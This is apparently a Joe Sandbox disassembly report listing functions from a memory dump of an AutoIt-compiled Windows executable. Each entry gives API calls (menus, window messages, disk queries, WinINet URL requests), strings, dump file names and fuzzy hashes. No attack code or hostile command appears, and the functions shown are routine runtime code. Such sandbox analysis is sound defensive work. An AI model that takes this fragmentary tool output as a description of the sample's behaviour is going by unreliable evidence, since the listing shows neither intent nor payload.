_wcslen.LIBCMT ref: 009AB68C
_wcslen.LIBCMT ref: 009AB6C7

Strings

APPEND, xrefs: 009AB6C1, 009AB6C6
KEYS, xrefs: 009AB647, 009AB64C
REMOVE, xrefs: 009AB602, 009AB607
EXISTS, xrefs: 009AB686, 009AB68B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: c8a042ef174d02c3ba9982be937892d102a455407c267e1d573cbc8bc197a180
Instruction ID: 12b5b290a6ae07537d2d1b9fcc0ba085214de66b16da8cde26dee0bcb7712c5a
Opcode Fuzzy Hash: c8a042ef174d02c3ba9982be937892d102a455407c267e1d573cbc8bc197a180
Instruction Fuzzy Hash: F241E932A000279BCB105F7DC9905BE77A9BFA2BB8B254129E521DB286E735CD81C7D0

Function 009B5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 009B53A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 009B5416
GetLastError.KERNEL32 ref: 009B5420
SetErrorMode.KERNEL32(00000000,READY), ref: 009B54A7

Strings

INVALID, xrefs: 009B5459
READONLY, xrefs: 009B5452
READY, xrefs: 009B5460, 009B5468
NOTREADY, xrefs: 009B544B
UNKNOWN, xrefs: 009B5444

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 0d0db4e2635d085b91c17d2d6b2824d3beaf26ec8f432a36e6347434477b3482
Instruction ID: 8bbcbcbee431fbbdffba5f0467b80a0c190a9fe28d718d7bc0420d63279ffb5d
Opcode Fuzzy Hash: 0d0db4e2635d085b91c17d2d6b2824d3beaf26ec8f432a36e6347434477b3482
Instruction Fuzzy Hash: F831F275A006099FD710DF68C688FEABBB9EF44319F158069E405CF2A2DB71DD86CB90

Function 009D3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 009D3C79
SetMenu.USER32(?,00000000), ref: 009D3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009D3D10
IsMenu.USER32(?), ref: 009D3D24
CreatePopupMenu.USER32 ref: 009D3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 009D3D5B
DrawMenuBar.USER32 ref: 009D3D63

Strings

F, xrefs: 009D3D4E
0, xrefs: 009D3C54

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 8bc6a72e2f70c7589c9db6af11936c0132c84c96118aa3e8053cb88c08e5273e
Instruction ID: 7cfface7a94e5314788d3c1a962bd9636cb13ef74f2de0e7546315f1248b157b
Opcode Fuzzy Hash: 8bc6a72e2f70c7589c9db6af11936c0132c84c96118aa3e8053cb88c08e5273e
Instruction Fuzzy Hash: 5C41ADB8A4520AAFDF10CF60E844EDA77BAFF49341F14802AF946973A0D730AA00DF51

Function 009A1EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009A3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 009A3CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 009A1F64
GetDlgCtrlID.USER32 ref: 009A1F6F
GetParent.USER32 ref: 009A1F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 009A1F8E
GetDlgCtrlID.USER32(?), ref: 009A1F97
GetParent.USER32(?), ref: 009A1FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 009A1FAE

Strings

ComboBox, xrefs: 009A1EEC
ListBox, xrefs: 009A1F21

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 43a80b44463be657d4cca883c622cbc10921a876e98af62654f914c2c0742f6a
Instruction ID: 8d541f4078c44ea64523515e8ee4740292b4010bd2e87cce9fc6551de162d051
Opcode Fuzzy Hash: 43a80b44463be657d4cca883c622cbc10921a876e98af62654f914c2c0742f6a
Instruction Fuzzy Hash: FF21AF74944215BFCF04AFA0DC85EEEBBB8EF46310F404516B96567291DB349944DBA0

Function 009A1FC0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009A3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 009A3CCA

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 009A2043
GetDlgCtrlID.USER32 ref: 009A204E
GetParent.USER32 ref: 009A206A
SendMessageW.USER32(00000000,?,00000111,?), ref: 009A206D
GetDlgCtrlID.USER32(?), ref: 009A2076
GetParent.USER32(?), ref: 009A208A
SendMessageW.USER32(00000000,?,00000111,?), ref: 009A208D

Strings

ComboBox, xrefs: 009A1FCD
ListBox, xrefs: 009A2002

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: fd9c5a2f25d02f24325f768399fbaae2174f1f888fc1f05fa3e5750acca333e5
Instruction ID: 3227164552fb936b5db7a503ac52a39eb3f7cc75f64c29c8274c0ff76ced0167
Opcode Fuzzy Hash: fd9c5a2f25d02f24325f768399fbaae2174f1f888fc1f05fa3e5750acca333e5
Instruction Fuzzy Hash: DE21D4B5D40219BBCF10AFA4DC85EEEBFB8EF06300F004406F955A72A1DA759954DBA0

Function 009D3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 009D3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 009D3AA0
GetWindowLongW.USER32(?,000000F0), ref: 009D3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 009D3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 009D3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 009D3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 009D3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 009D3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 009D3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 009D3C13

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 7caa721e311f5ab458f21a45362eb920cbbcb1bec97c727258f3f5de3d7f7f06
Instruction ID: 6b503d58ed4b7de0888ff4b5e7d4b8b84e464f66cd3fd74ba3d33ee8c519cca1
Opcode Fuzzy Hash: 7caa721e311f5ab458f21a45362eb920cbbcb1bec97c727258f3f5de3d7f7f06
Instruction Fuzzy Hash: 3C617D75940208AFDB10DFA8CC81EEE77B8EF49700F10819AFA15A73A1D774AE41DB50

Function 00972C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00972C94

Part of subcall function 009729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000), ref: 009729DE
Part of subcall function 009729C8: GetLastError.KERNEL32(00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000,00000000), ref: 009729F0

_free.LIBCMT ref: 00972CA0
_free.LIBCMT ref: 00972CAB
_free.LIBCMT ref: 00972CB6
_free.LIBCMT ref: 00972CC1
_free.LIBCMT ref: 00972CCC
_free.LIBCMT ref: 00972CD7
_free.LIBCMT ref: 00972CE2
_free.LIBCMT ref: 00972CED
_free.LIBCMT ref: 00972CFB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e87e11f075a75d61b28e8c5ced452a1592fbe651d0633d65411cd3b060b68594
Instruction ID: 1496e59e0edfc934033ac9ee55bcf0aa0887c3ec38cf471ba75d77ca2160d64e
Opcode Fuzzy Hash: e87e11f075a75d61b28e8c5ced452a1592fbe651d0633d65411cd3b060b68594
Instruction Fuzzy Hash: 6E11B976120108BFCB02EF64D942DDD7BA5FF45350F4584A5FA4C5F222D631EE909B90

Function 009B7DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 009B7FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 009B7FC1
GetFileAttributesW.KERNEL32(?), ref: 009B7FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 009B8005
SetCurrentDirectoryW.KERNEL32(?), ref: 009B8017
SetCurrentDirectoryW.KERNEL32(?), ref: 009B8060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 009B80B0

Strings

*.*, xrefs: 009B8066

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: e1bcc1c81afdae7462dd4aed50050772a4ba8b305739e0bbcd9df1cfe0b3522d
Instruction ID: 8eb121fa3b228c79927f84024f50fb38bfd4b6646fe244d99934b63b0145ad51
Opcode Fuzzy Hash: e1bcc1c81afdae7462dd4aed50050772a4ba8b305739e0bbcd9df1cfe0b3522d
Instruction Fuzzy Hash: CE818E725082059BCB20EF94C944AEAF3E8AFC9360F144D5EF885D7260EB35DD49CB52

Function 00945BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00945C7A

Part of subcall function 00945D0A: GetClientRect.USER32(?,?), ref: 00945D30
Part of subcall function 00945D0A: GetWindowRect.USER32(?,?), ref: 00945D71
Part of subcall function 00945D0A: ScreenToClient.USER32(?,?), ref: 00945D99

GetDC.USER32 ref: 009846F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00984708
SelectObject.GDI32(00000000,00000000), ref: 00984716
SelectObject.GDI32(00000000,00000000), ref: 0098472B
ReleaseDC.USER32(?,00000000), ref: 00984733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 009847C4

Strings

U, xrefs: 00984693

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 9852954c590ac9eff9c34b1b5d82fc5c9f0a6a8a9b91ef48486c6337597bf2e9
Instruction ID: e0cf1af8588ea3ac243748a80a167270c0cd044dd7e4422745e9eaaca4e68ca5
Opcode Fuzzy Hash: 9852954c590ac9eff9c34b1b5d82fc5c9f0a6a8a9b91ef48486c6337597bf2e9
Instruction Fuzzy Hash: 2171E031400206DFCF21EFA4C984EBA7BB9FF4A325F14426AED565A2A6D3358C81DF50

Function 009B359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 009B35E4

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

LoadStringW.USER32(00A12390,?,00000FFF,?), ref: 009B360A

Strings

"%s" (%d) : ==> %s:, xrefs: 009B3742
"%s" (%d) : ==> %s:%s%s, xrefs: 009B3724
Error: , xrefs: 009B36EF
Line %d (File "%s"):, xrefs: 009B366B
^ ERROR, xrefs: 009B36C9

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 1fa409c933e0bbfc1cc993253632ffa807806f2e34a107b83b76eb06931d266b
Instruction ID: a57f723a0c72d1e4ee7ae2c4ee0479f902ae6233352f4c66c330860be838b504
Opcode Fuzzy Hash: 1fa409c933e0bbfc1cc993253632ffa807806f2e34a107b83b76eb06931d266b
Instruction Fuzzy Hash: 1F516E72840209BADF14EBA0DD86FEEBB78EF44314F048125F505721A2DB311A99DBA1

Function 009BC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 009BC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009BC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 009BC2CA
GetLastError.KERNEL32 ref: 009BC322
SetEvent.KERNEL32(?), ref: 009BC336
InternetCloseHandle.WININET(00000000), ref: 009BC341

Strings

, xrefs: 009BC2BB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: faca89219c9b339e1e2a6fde6be563d4b312d6098a18f8d37f28d0647c427837
Instruction ID: 3bf9363e1651f545a44e362116f8f227d69a1b2a620b2b45c6cf372af0b0be89
Opcode Fuzzy Hash: faca89219c9b339e1e2a6fde6be563d4b312d6098a18f8d37f28d0647c427837
Instruction Fuzzy Hash: B831AEF1605209AFD7219FA48E88AEB7BFCEB89760F54851EF486D2200DB34DD44DB60

Function 009A989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00983AAF,?,?,Bad directive syntax error,009DCC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 009A98BC
LoadStringW.USER32(00000000,?,00983AAF,?), ref: 009A98C3

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 009A9987

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 009A98F1
., xrefs: 009A996D
Error: , xrefs: 009A9955
Line %d:, xrefs: 009A9912
Line %d (File "%s"):, xrefs: 009A992D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 0adcc12194a1380656551926150a7bb088838cf368ff01004501e1a18944e613
Instruction ID: 142f6dc4be734a05c5b944806346b1d9cb49b089bf623ac8b1527cf678b50f6c
Opcode Fuzzy Hash: 0adcc12194a1380656551926150a7bb088838cf368ff01004501e1a18944e613
Instruction Fuzzy Hash: AE216D3284021EBBDF15AFA0DC1AFEE7779BF58304F04481AF515660A2EB319668DB51

Function 009A209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 009A20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 009A20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 009A214D

Strings

SHELLDLL_DefView, xrefs: 009A20CC
largeicons, xrefs: 009A20E1
smallicons, xrefs: 009A2115
list, xrefs: 009A212F
details, xrefs: 009A20FB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 054efb47e95b83804db534312ce038d798fd401ffaa8e7ec16e0f80622cb942a
Instruction ID: a9d39361b568806bcc5a75c8d818d425a66c1d7510c1beed37ab32fac5fd2542
Opcode Fuzzy Hash: 054efb47e95b83804db534312ce038d798fd401ffaa8e7ec16e0f80622cb942a
Instruction Fuzzy Hash: 5311C6B6ACC70BB9FA056778EC06EA7379CDF07724F200516FB04A50D1FE65A8426A94

Function 00978D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 954be8d021fa824aae2caf09919035cb6a754c1693588d370b2f34b699c53fe9
Instruction ID: e19b02a219a0aa5bde91900605a4fd92856846bffde96ac19e6dded77693ec42
Opcode Fuzzy Hash: 954be8d021fa824aae2caf09919035cb6a754c1693588d370b2f34b699c53fe9
Instruction Fuzzy Hash: C9C1E276A04249AFCB11DFACD855BAEBBB4FF4A310F048099E518A7392C7749942CF61

Function 0097CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0097CEB7
_free.LIBCMT ref: 0097CF22
_free.LIBCMT ref: 0097CF48
_free.LIBCMT ref: 0097CF71
_free.LIBCMT ref: 0097CFA9
_free.LIBCMT ref: 0097CFDA
_free.LIBCMT ref: 0097D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0097D09C
_free.LIBCMT ref: 0097D0B5

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 962f1ab80c2702983b4902486f32b7e41120261ceea1c86ace950f7a351a7107
Instruction ID: d80c74c27aeab15dabd4c393a12e6b56c1f93b6b4c083b3f1536b962e3640c49
Opcode Fuzzy Hash: 962f1ab80c2702983b4902486f32b7e41120261ceea1c86ace950f7a351a7107
Instruction Fuzzy Hash: D5613BB3A05311AFDB21AFB4AC91BAE7BA9EF45320F04C16EF94CA7281D7319D418750

Function 009D50D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 009D5186
ShowWindow.USER32(?,00000000), ref: 009D51C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 009D51CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 009D51D1

Part of subcall function 009D6FBA: DeleteObject.GDI32(00000000), ref: 009D6FE6

GetWindowLongW.USER32(?,000000F0), ref: 009D520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 009D521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 009D524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 009D5287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 009D5296

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

